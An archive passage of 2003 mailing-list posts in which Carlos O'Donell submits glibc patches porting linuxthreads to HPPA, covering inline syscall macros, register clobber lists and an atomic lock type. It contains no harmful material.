 #define DOARGS_0 /* nothing */
 #define DOARGS_1 /* nothing */
 #define DOARGS_2 /* nothing */
@@ -198,26 +303,87 @@
 
 #else
 
+/* GCC has to be warned that a syscall may clobber all the ABI 
+   registers listed as "caller-saves", see page 8, Table 2 
+   in section 2.2.6 of the PA-RISC RUN-TIME architecture 
+   document. However! r28 is the result and will conflict with
+   the clobber list so it is left out. Also the input arguments
+   registers r20 -> r26 will conflict with the list so they 
+   are treated specially. Although r19 is clobbered by the syscall
+   we cannot say this because it would violate ABI, thus we say
+   r4 is clobbered and use that register to save/restore r19
+   across the syscall. */
+		 
+#define CALL_CLOB_REGS	"%r1", "%r2", USING_GR4 \
+		 	"%r20", "%r29", "%r31"
+		 
 #undef INLINE_SYSCALL
-#define INLINE_SYSCALL(name, nr, args...)	({		\
+#define INLINE_SYSCALL(name, nr, args...)	({			\
+	long __sys_res;							\
+	{								\
+		register unsigned long __res asm("r28");		\
+		LOAD_ARGS_##nr(args)					\
+		/* FIXME: HACK stw/ldw r19 around syscall */		\
+		asm volatile(						\
+			STW_ASM_PIC					\
+			"	ble  0x100(%%sr2, %%r0)\n"		\
+			"	ldi %1, %%r20\n"			\
+			LDW_ASM_PIC					\
+			: "=r" (__res)					\
+			: "i" (SYS_ify(name)) ASM_ARGS_##nr		\
+			: CALL_CLOB_REGS CLOB_ARGS_##nr			\
+		);							\
+		__sys_res = (long)__res;				\
+	}								\
+	if ( (unsigned long)__sys_res >= (unsigned long)-4095 ){	\
+		__set_errno(-__sys_res);				\
+		__sys_res = -1;						\
+	}								\
+	__sys_res;							\
+})
+
+/* INTERNAL_SYSCALL_DECL - Allows us to setup some function static 
+   value to use within the context of the syscall 
+   INTERNAL_SYSCALL_ERROR_P - Returns 0 if it wasn't an error, 1 otherwise
+   You are allowed to use the syscall result (val) and the DECL error variable
+   to determine what went wrong.
+   INTERLAL_SYSCALL_ERRNO - Munges the val/err pair into the error number.
+   In our case we just flip the sign. */
+
+#undef INTERNAL_SYSCALL_DECL
+#define INTERNAL_SYSCALL_DECL(err) do { } while (0)
+
+/* Equivalent to  (val < 0)&&(val > -4095) which is what we want */
+#undef INTERNAL_SYSCALL_ERROR_P
+#define INTERNAL_SYSCALL_ERROR_P(val, err) \
+	((unsigned long)val >= (unsigned long)-4095)
+	
+#undef INTERNAL_SYSCALL_ERRNO
+#define INTERNAL_SYSCALL_ERRNO(val, err) (-(val))
+
+/* Similar to INLINE_SYSCALL but we don't set errno */
+#undef INTERNAL_SYSCALL
+#define INTERNAL_SYSCALL(name, err, nr, args...) 		\
+({								\
 	long __sys_res;						\
 	{							\
 		register unsigned long __res asm("r28");	\
 		LOAD_ARGS_##nr(args)				\
+		/* FIXME: HACK stw/ldw r19 around syscall */	\
 		asm volatile(					\
-			"ble  0x100(%%sr2, %%r0)\n\t"		\
-			" ldi %1, %%r20"			\
+			STW_ASM_PIC				\
+			"	ble  0x100(%%sr2, %%r0)\n"	\
+			"	ldi %1, %%r20\n"		\
+			LDW_ASM_PIC				\
 			: "=r" (__res)				\
 			: "i" (SYS_ify(name)) ASM_ARGS_##nr	\
-			 );					\
-		__sys_res = __res;				\
-	}							\
-	if ((unsigned long)__sys_res >= (unsigned long)-4095) {	\
-		__set_errno(-__sys_res);			\
-		__sys_res = -1;					\
+			: CALL_CLOB_REGS CLOB_ARGS_##nr		\
+		);						\
+		__sys_res = (long)__res;			\
 	}							\
 	__sys_res;						\
-})
+ })
+
 
 #define LOAD_ARGS_0()
 #define LOAD_ARGS_1(r26)					\
@@ -239,12 +405,22 @@
 	register unsigned long __r21 __asm__("r21") = (unsigned long)r21;	\
 	LOAD_ARGS_5(r26,r25,r24,r23,r22)
 
-#define ASM_ARGS_0
-#define ASM_ARGS_1 , "r" (__r26)
-#define ASM_ARGS_2 , "r" (__r26), "r" (__r25)
-#define ASM_ARGS_3 , "r" (__r26), "r" (__r25), "r" (__r24)
-#define ASM_ARGS_4 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23)
-#define ASM_ARGS_5 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23), "r" (__r22)
-#define ASM_ARGS_6 , "r" (__r26), "r" (__r25), "r" (__r24), "r" (__r23), "r" (__r22), "r" (__r21)
-
+/* Even with zero args we use r20 for the syscall number */
+#define ASM_ARGS_0 
+#define ASM_ARGS_1 ASM_ARGS_0, "r" (__r26)
+#define ASM_ARGS_2 ASM_ARGS_1, "r" (__r25)
+#define ASM_ARGS_3 ASM_ARGS_2, "r" (__r24)
+#define ASM_ARGS_4 ASM_ARGS_3, "r" (__r23)
+#define ASM_ARGS_5 ASM_ARGS_4, "r" (__r22)
+#define ASM_ARGS_6 ASM_ARGS_5, "r" (__r21)
+
+/* The registers not listed as inputs but clobbered */
+#define CLOB_ARGS_6
+#define CLOB_ARGS_5 CLOB_ARGS_6, "%r21"
+#define CLOB_ARGS_4 CLOB_ARGS_5, "%r22"
+#define CLOB_ARGS_3 CLOB_ARGS_4, "%r23"
+#define CLOB_ARGS_2 CLOB_ARGS_3, "%r24"
+#define CLOB_ARGS_1 CLOB_ARGS_2, "%r25"
+#define CLOB_ARGS_0 CLOB_ARGS_1, "%r26"
+	
 #endif	/* __ASSEMBLER__ */
diff -u -p -r1.4 sysdep.c
--- libc/sysdeps/unix/sysv/linux/hppa/sysdep.c	11 Oct 2002 10:51:21 -0000	1.4
+++ libc/sysdeps/unix/sysv/linux/hppa/sysdep.c	30 Aug 2003 23:03:16 -0000
@@ -19,6 +19,10 @@
 #include <sysdep.h>
 #include <errno.h>
 
+extern int __syscall_error(int err_no);
+extern int syscall (int sysnum, int arg0, int arg1, int arg2, 
+			int arg3, int arg4, int arg5);
+
 /* This routine is jumped to by all the syscall handlers, to stash
    an error number into errno.  */
 int
@@ -30,25 +34,31 @@ __syscall_error (int err_no)
 
 
 /* HPPA implements syscall() in 'C'; the assembler version would
-   typically be in syscall.S.  */
-
+   typically be in syscall.S. Also note that we have INLINE_SYSCALL,
+   INTERNAL_SYSCALL, and all the generated pure assembly syscall wrappers.
+   How often the function is used is unknown. */
 int
 syscall (int sysnum, int arg0, int arg1, int arg2, int arg3, int arg4, int arg5)
 {
-  long __sys_res;
-  {
-    register unsigned long __res asm("r28");
-    LOAD_ARGS_6(arg0, arg1, arg2, arg3, arg4, arg5)
-      asm volatile ("ble  0x100(%%sr2, %%r0)\n\t"
-		    "copy %1, %%r20"
-		    : "=r" (__res)
-		    : "r" (sysnum) ASM_ARGS_6);
-    __sys_res = __res;
-  }
-  if ((unsigned long) __sys_res >= (unsigned long)-4095)
-    {
-    __set_errno(-__sys_res);
-    __sys_res = -1;
-  }
-  return __sys_res;
+	/* FIXME: Keep this matching INLINE_SYSCALL for hppa */
+	long __sys_res;
+	{
+		register unsigned long __res asm("r28");
+		LOAD_ARGS_6(arg0, arg1, arg2, arg3, arg4, arg5)
+		asm volatile (
+			STW_ASM_PIC
+			"	ble  0x100(%%sr2, %%r0)	\n"
+			"	copy %1, %%r20		\n"
+			LDW_ASM_PIC
+			: "=r" (__res)
+			: "r" (sysnum) ASM_ARGS_6
+			: CALL_CLOB_REGS CLOB_ARGS_6
+		);
+		__sys_res = __res;
+	}
+	if ((unsigned long) __sys_res >= (unsigned long)-4095){
+		__set_errno(-__sys_res);
+		__sys_res = -1;
+	}
+	return __sys_res;
 }


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] linuxthreads for hppa (1/3, Round 2)
Date: Sun, 12 Oct 2003 17:33:50 -0400
Lines: 301
Approved: news@gmane.org
Message-ID: <20031012213350.GF23999__757.647565524344$1416622867$gmane$org@systemhalted>
References: <20031010204444.GF6454@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622867 32541 80.91.229.3 (22 Nov 2014 02:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:07 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 15:37:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EAA148D3
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Oct 2003 15:37:15 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8nqY-0006r5-00; Sun, 12 Oct 2003 17:33:50 -0400
Content-Disposition: inline
In-Reply-To: <20031010204444.GF6454@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19799

libc-alpha,

Changes:

a. Removed _STACK_GROWS_UP changes.
b. Fixed formatting.
c. Fixed Changelog entry.
d. Added olsemaphore patch.

---

I've split linuxthreads for HPPA into 3 digestible patches:

1. Linuxthreads general changes.
2. Linuxthreads sysdep changes.
3. Linuxthreads changes for HPPA.

===

1. Linuxthreads general changes. 

Tested on i386, Alpha, and HPPA. Debian has been using this code since 2.3.1.
All of this code revolves around two central architecture issues:

a. HPPA needs an abstraction for it's atomic lock type.
b. The lock type cannot be initialized to zero.
c. HPPA's stack grows up.

NTPL and TLS are next on the plate for HPPA. Thanks for being patient.

Cheers,
Carlos

===
 linuxthreads/descr.h        |    2 
 linuxthreads/pt-machine.c   |    4 +
 linuxthreads/pthread.c      |   14 ++---
 linuxthreads/spinlock.c     |   22 ++++----
 linuxthreads/spinlock.h     |   26 +++++++---
 linuxthreads/oldsemaphore.c |    2 
 6 files changed, 43 insertions(+), 27 deletions(-)
===

2003-10-12  Carlos O'Donell <carlos@baldric.uwo.ca>

	* descr.h: Define p_spinlock as __atomic_lock_t 
	in struct pthread_atomic.
	* pt-machine.c: Define testandset to take __atomic_lock_t *spinlock.
	* pthread.c (__pthread_initialize_minimal): Use 
	__LT_INITIALIZER_NOT_ZERO instead of __LT_SPINLOCK_INIT.
	* spinlock.c: __pthread_acquire call takes 
	__atomic_lock_t *spinlock, define abandoned as __atomic_lock_t 
	in struct wait_node, use __pthread_lock_define_initialized for 
	wait_node_free_list.
	(__pthread_alt_lock): Use __LT_SPINLOCK_INIT to clear abandoned.
	(__pthread_alt_timedlock): Likewise.
	(__pthread_alt_unlock): Use lock_held.
	(__pthread_release): Call takes __atomic_lock_t *spinlock.
	(__pthread_compare_and_swap): Likewise.
	(__pthread_acquire): Likewise.
	* spinlock.h: Define lock_held, define 
	__pthread_lock_define_initialized for __LT_INITIALIZER_NOT_ZERO, 
	__pthread_compare_and_swap takes __atomic_lock_t *spinlock.
	(compare_and_swap): All versions takes __atomic_lock_t *spinlock.
	(compare_and_swap_with_release_semantics): Likewise.
	* oldsemaphore.c: sem_spinlock in struct old_sem_t is an 
	__atomic_lock_t.

diff -urN glibc-2.3.1.orig/linuxthreads/descr.h glibc-2.3.1/linuxthreads/descr.h
--- glibc-2.3.1.orig/linuxthreads/descr.h	2003-01-15 12:58:11.000000000 -0500
+++ glibc-2.3.1/linuxthreads/descr.h	2003-01-15 18:24:36.000000000 -0500
@@ -70,7 +70,7 @@
 /* Atomic counter made possible by compare_and_swap */
 struct pthread_atomic {
   long p_count;
-  int p_spinlock;
+  __atomic_lock_t p_spinlock;
 };
 
 
diff -urN glibc-2.3.1.orig/linuxthreads/pt-machine.c glibc-2.3.1/linuxthreads/pt-machine.c
--- glibc-2.3.1.orig/linuxthreads/pt-machine.c	2002-08-26 18:39:45.000000000 -0400
+++ glibc-2.3.1/linuxthreads/pt-machine.c	2003-01-15 18:24:36.000000000 -0500
@@ -19,7 +19,9 @@
 
 #define PT_EI
 
-extern long int testandset (int *spinlock);
+#include <pthread.h>
+
+extern long int testandset (__atomic_lock_t *spinlock);
 extern int __compare_and_swap (long int *p, long int oldval, long int newval);
 
 #include <pt-machine.h>
diff -u -p -r1.131 pthread.c
--- libc/linuxthreads/pthread.c	23 Sep 2003 04:33:01 -0000	1.131
+++ libc/linuxthreads/pthread.c	6 Oct 2003 14:48:18 -0000
@@ -300,9 +300,9 @@ __pthread_initialize_minimal(void)
   pthread_descr self;
 
   /* First of all init __pthread_handles[0] and [1] if needed.  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
 # ifndef SHARED
   /* Unlike in the dynamically linked case the dynamic linker has not
@@ -370,7 +370,7 @@ cannot allocate TLS data structures for 
 # endif
   /* self->p_start_args need not be initialized, it's all zero.  */
   self->p_userstack = 1;
-# if __LT_SPINLOCK_INIT != 0
+# ifdef __LT_INITIALIZER_NOT_ZERO 
   self->p_resume_count = (struct pthread_atomic) __ATOMIC_INITIALIZER;
 # endif
   self->p_alloca_cutoff = __MAX_ALLOCA_CUTOFF;
@@ -384,9 +384,9 @@ cannot allocate TLS data structures for 
 #else  /* USE_TLS */
 
   /* First of all init __pthread_handles[0] and [1].  */
-# if __LT_SPINLOCK_INIT != 0
-  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
-  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
+# ifdef __LT_INITIALIZER_NOT_ZERO
+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
 # endif
   __pthread_handles[0].h_descr = &__pthread_initial_thread;
   __pthread_handles[1].h_descr = &__pthread_manager_thread;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.c glibc-2.3.1/linuxthreads/spinlock.c
--- glibc-2.3.1.orig/linuxthreads/spinlock.c	2002-08-29 06:32:19.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.c	2003-01-15 18:24:36.000000000 -0500
@@ -24,9 +24,9 @@
 #include "spinlock.h"
 #include "restart.h"
 
-static void __pthread_acquire(int * spinlock);
+static void __pthread_acquire(__atomic_lock_t * spinlock);
 
-static inline void __pthread_release(int * spinlock)
+static inline void __pthread_release(__atomic_lock_t * spinlock)
 {
   WRITE_MEMORY_BARRIER();
   *spinlock = __LT_SPINLOCK_INIT;
@@ -269,11 +269,11 @@
 struct wait_node {
   struct wait_node *next;	/* Next node in null terminated linked list */
   pthread_descr thr;		/* The thread waiting with this node */
-  int abandoned;		/* Atomic flag */
+  __atomic_lock_t abandoned;	/* Atomic flag */
 };
 
 static long wait_node_free_list;
-static int wait_node_free_list_spinlock;
+__pthread_lock_define_initialized(static, wait_node_free_list_spinlock);
 
 /* Allocate a new node from the head of the free list using an atomic
    operation, or else using malloc if that list is empty.  A fundamental
@@ -376,7 +376,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      wait_node.abandoned = 0;
+      wait_node.abandoned = __LT_SPINLOCK_INIT;
       wait_node.next = (struct wait_node *) lock->__status;
       wait_node.thr = self;
       lock->__status = (long) &wait_node;
@@ -402,7 +402,7 @@
       wait_node.thr = self;
       newstatus = (long) &wait_node;
     }
-    wait_node.abandoned = 0;
+    wait_node.abandoned = __LT_SPINLOCK_INIT;
     wait_node.next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -451,7 +451,7 @@
       if (self == NULL)
 	self = thread_self();
 
-      p_wait_node->abandoned = 0;
+      p_wait_node->abandoned = __LT_SPINLOCK_INIT;
       p_wait_node->next = (struct wait_node *) lock->__status;
       p_wait_node->thr = self;
       lock->__status = (long) p_wait_node;
@@ -474,7 +474,7 @@
       p_wait_node->thr = self;
       newstatus = (long) p_wait_node;
     }
-    p_wait_node->abandoned = 0;
+    p_wait_node->abandoned = __LT_SPINLOCK_INIT;
     p_wait_node->next = (struct wait_node *) oldstatus;
     /* Make sure the store in wait_node.next completes before performing
        the compare-and-swap */
@@ -574,7 +574,7 @@
     while (p_node != (struct wait_node *) 1) {
       int prio;
 
-      if (p_node->abandoned) {
+      if (lock_held(&p_node->abandoned)) {
 	/* Remove abandoned node. */
 #if defined TEST_FOR_COMPARE_AND_SWAP
 	if (!__pthread_has_cas)
@@ -662,7 +662,7 @@
 #if !defined HAS_COMPARE_AND_SWAP || defined TEST_FOR_COMPARE_AND_SWAP
 
 int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                               int * spinlock)
+                               __atomic_lock_t * spinlock)
 {
   int res;
 
@@ -699,7 +699,7 @@
    - When nanosleep() returns, we try again, doing MAX_SPIN_COUNT
      sched_yield(), then sleeping again if needed. */
 
-static void __pthread_acquire(int * spinlock)
+static void __pthread_acquire(__atomic_lock_t * spinlock)	
 {
   int cnt = 0;
   struct timespec tm;
diff -urN glibc-2.3.1.orig/linuxthreads/spinlock.h glibc-2.3.1/linuxthreads/spinlock.h
--- glibc-2.3.1.orig/linuxthreads/spinlock.h	2001-05-24 19:36:35.000000000 -0400
+++ glibc-2.3.1/linuxthreads/spinlock.h	2003-01-15 18:24:36.000000000 -0500
@@ -33,14 +33,28 @@
 #endif
 #endif
 
+/* Define lock_held for all arches that don't need a modified copy. */
+#ifndef __LT_INITIALIZER_NOT_ZERO
+# define lock_held(p) *(p)
+#endif
+
+/* Initliazers for possibly complex structures */
+#ifdef __LT_INITIALIZER_NOT_ZERO
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME = __LT_SPINLOCK_ALT_INIT
+#else
+# define __pthread_lock_define_initialized(CLASS,NAME) \
+	CLASS __atomic_lock_t NAME
+#endif
+
 #if defined(TEST_FOR_COMPARE_AND_SWAP)
 
 extern int __pthread_has_cas;
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   if (__builtin_expect (__pthread_has_cas, 1))
     return __compare_and_swap(ptr, oldval, newval);
@@ -58,7 +72,7 @@
 
 static inline int
 compare_and_swap_with_release_semantics (long * ptr, long oldval,
-					 long newval, int * spinlock)
+					 long newval, __atomic_lock_t * spinlock)
 {
   return __compare_and_swap_with_release_semantics (ptr, oldval,
 						    newval);
@@ -67,7 +81,7 @@
 #endif
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __compare_and_swap(ptr, oldval, newval);
 }
@@ -75,10 +89,10 @@
 #else
 
 extern int __pthread_compare_and_swap(long * ptr, long oldval, long newval,
-                                      int * spinlock);
+                                      __atomic_lock_t * spinlock);
 
 static inline int compare_and_swap(long * ptr, long oldval, long newval,
-                                   int * spinlock)
+                                   __atomic_lock_t * spinlock)
 {
   return __pthread_compare_and_swap(ptr, oldval, newval, spinlock);
 }
--- libc/linuxthreads/oldsemaphore.c	25 May 2001 07:38:39 -0000	1.11
+++ libc/linuxthreads/oldsemaphore.c	21 Apr 2003 23:53:24 -0000
@@ -31,7 +31,7 @@
 
 typedef struct {
     long int sem_status;
-    int sem_spinlock;
+    __atomic_lock_t sem_spinlock;
 } old_sem_t;
 
 extern int __old_sem_init (old_sem_t *__sem, int __pshared, unsigned int __value);


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] linuxthreads for hppa (2/3, Round 2)
Date: Sun, 12 Oct 2003 17:34:26 -0400
Lines: 77
Approved: news@gmane.org
Message-ID: <20031012213426.GG23999__34040.7599848278$1416622868$gmane$org@systemhalted>
References: <20031010204537.GG6454@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622868 32543 80.91.229.3 (22 Nov 2014 02:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:08 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 15:37:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE0B148D3
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Oct 2003 15:37:51 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8nr9-0006rN-00; Sun, 12 Oct 2003 17:34:27 -0400
Content-Disposition: inline
In-Reply-To: <20031010204537.GG6454@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19800

libc-alpha,

Changes:

a. Fixed formatting.
b. Fixed Changelog entry.

---

2. Linuxthreads sysdep changes. 

This patch represents the minor changes required in linuxthreads sysdeps to
accomodate for hppa's special lock requirements (e.g. A structure instead of
an integer).

The changes are minor and require that __LT_SPINLOCK_INIT no longer be used in
a macro comparison since it's now a structure. A different define
(__LT_INITIALIZER_NOT_ZERO) is used to indicate an architecture that does not 
initialize a lock to zero.

Cheers,
Carlos.

===
 linuxthreads/sysdeps/pthread/bits/libc-lock.h    |    6 +++---
 linuxthreads/sysdeps/pthread/bits/pthreadtypes.h |    8 +++++---
 2 files changed, 8 insertions(+), 6 deletions(-)
===

2003-10-12  Carlos O'Donell <carlos@baldric.uwo.ca>

	* sysdeps/pthread/bits/libc-lock.h:
	Use __LT_INITIALIZER_NOT_ZERO.
	* sysdeps/pthread/bits/pthreadtypes.h:
	spinlock in struct _pthread_fastlock is __atomic_lock_t.

diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/libc-lock.h	2003-01-15 18:24:36.000000000 -0500
@@ -71,12 +71,12 @@
    initialized locks must be set to one due to the lack of normal
    atomic operations.) */
 
-#if __LT_SPINLOCK_INIT == 0
+#ifdef __LT_INITIALIZER_NOT_ZERO
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME;
+  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
 #else
 #  define __libc_lock_define_initialized(CLASS,NAME) \
-  CLASS __libc_lock_t NAME = PTHREAD_MUTEX_INITIALIZER;
+  CLASS __libc_lock_t NAME;
 #endif
 
 #define __libc_rwlock_define_initialized(CLASS,NAME) \
diff -urN glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h
--- glibc-2.3.1.orig/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 12:58:35.000000000 -0500
+++ glibc-2.3.1/linuxthreads/sysdeps/pthread/bits/pthreadtypes.h	2003-01-15 18:24:36.000000000 -0500
@@ -22,12 +22,14 @@
 #define __need_schedparam
 #include <bits/sched.h>
 
+typedef int __atomic_lock_t;
+
 /* Fast locks (not abstract because mutexes and conditions aren't abstract). */
 struct _pthread_fastlock
 {
-  long int __status;   /* "Free" or "taken" or head of waiting list */
-  int __spinlock;      /* Used by compare_and_swap emulation. Also,
-			  adaptive SMP lock stores spin count here. */
+  long int __status;		/* "Free" or "taken" or head of waiting list */
+  __atomic_lock_t __spinlock;	/* Used by compare_and_swap emulation. Also,
+				   adaptive SMP lock stores spin count here. */
 };
 
 #ifndef _PTHREAD_DESCR_DEFINED


From - Thu Nov 08 21:29:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] linuxthreads for hppa (3/3, Round 2)
Date: Sun, 12 Oct 2003 17:35:10 -0400
Lines: 415
Approved: news@gmane.org
Message-ID: <20031012213510.GH23999__27416.4425246001$1416622868$gmane$org@systemhalted>
References: <20031010204634.GH6454@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622868 32546 80.91.229.3 (22 Nov 2014 02:21:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:08 +0000 (UTC)
To: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct 12 15:38:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id D6DC04A5D
	for <parisc-linux@lists.parisc-linux.org>; Sun, 12 Oct 2003 15:38:34 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A8nrq-0006ro-00; Sun, 12 Oct 2003 17:35:10 -0400
Content-Disposition: inline
In-Reply-To: <20031010204634.GH6454@systemhalted>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (29% Sync Ratio [===.......])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19801

libc-alpha,

Changes:

a. Fixed formatting.
b. Fixed Changelog entry.

---

3. Linuxthreads changes for HPPA.

The following are the architecture specific changes to implement linuxthreads 
on hppa. These patches have been thoroughly tested in 2.3.1 and forward ported 
to the current cvs tree. NTPL and TLS are next on the plate for HPPA. 

Cheers,
Carlos.

===
 sysdeps/hppa/pspinlock.c                         |   25 -
 sysdeps/hppa/pt-machine.h                        |   86 ++++-
 sysdeps/unix/sysv/linux/hppa/bits/pthreadtypes.h |  160 ++++++++++
 sysdeps/unix/sysv/linux/hppa/bits/initspin.h     |   22 +
 4 files changed, 259 insertions(+), 34 deletions(-)
===

2003-10-12  Carlos O'Donell <carlos@baldric.uwo.ca>

	* sysdeps/hppa/pspinlock.c
